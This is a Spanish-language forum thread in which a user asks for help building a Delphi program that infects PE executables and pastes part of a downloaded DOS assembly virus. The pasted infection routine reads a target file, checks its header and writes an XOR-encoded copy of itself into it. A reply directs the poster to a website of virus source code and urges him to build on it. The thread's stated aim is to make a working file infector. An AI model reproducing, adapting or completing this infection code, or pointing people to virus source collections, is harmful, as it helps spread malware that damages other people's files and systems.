Ensamblador - Necesito alguien que programe en ASM/Delphi

Hola, necesito hacer un programa en Delphi que infecte ficheros PE(Portable executable),
y me he descargado de la web el código de un virus que infecta ficheros PE, es justo lo que necesito.

Si hay alguien aquí que sepa programar en Delphi y ensamblador, y ensamblador en Delphi, es decir que conjugue los dos lenguajes, ya que en delphi se programa también en asm y me pueda ayudar a hacer ese procedimiento o función se lo agradecería mucho.
De este código que publico a cont. solo necesito lo de infectar ficheros.

{quite varias partes del código}

code segment
assume cs:code
org 100h

start:
jmp begin

org 200h
begin:
jmp short beg

FileSize dw 0E00h; 02h
int21vec dd 0 ; 04h
oldint13 dd 0 ; 08h
oldint24 dd 0 ; 0Ch
Date dw 0 ; 10h
Time dw 0 ; 12h
db 1 ; 14h
version dw 0 ; 15h - mutation status

beg:
call codenext
codenext:
pop si
;------------------------------------------------------------------------------
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx
call movefp
mov dx,400h
mov ah,3fh
mov cx,3
call Dos
jc infect4
xor di,di
mov ax,word ptr ds:[400h]
mov cx,ds:[0]
cmp cx,ax
je infect8
cmp al,0EBH ; near jmp
jne infect1
mov al,ah
xor ah,ah
add ax,2
mov di,ax
infect1:
cmp al,0E9h ; far jmp
jne infect2
mov ax,ds:[401h]
add ax,3
mov di,ax
xor ax,ax
infect2:
cmp ax,'MZ'
je infect4
cmp ax,'ZM'
jne infect3
infect4:
stc
infect8:
jmp infectquit
infect3:
mov dx,di
push cx
call movefp
mov dx,400h
mov ah,3fh
mov cx,dx
call Dos
pop cx
jc infect4
cmp ds:[400h],cx
je infect8
mov ax,di
sub ah,-4
cmp ax,ds:[2]
jnc infect4
mov dx,ds:[2]
call movefp
mov dx,400h
mov cx,dx
mov ah,40h
call Dos
infect6:
jc infectquit
mov dx,di
call movefp
push cs
pop es
mov di,400h
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,400h+offset coderloop-offset begin
mov al,ds:[7ffh]
infect5:
xor ds:[si],al
inc si
cmp si,07ffh
jc infect5
pop cx
pop dx
mov ah,40h
call Dos
infectquit:
pop di
pop es
pop ds
pop si
ret
(...)

loco na... bajate codigos fuentes de virus en asm
http://www.totallygeek.com/vscdb/index.php ----> base de datos de sources de virus

aunque creo que usas infomed mira a ver si puedes inventar algo con eso

(no me vayas a escribor al correo)

Espero que te sirva.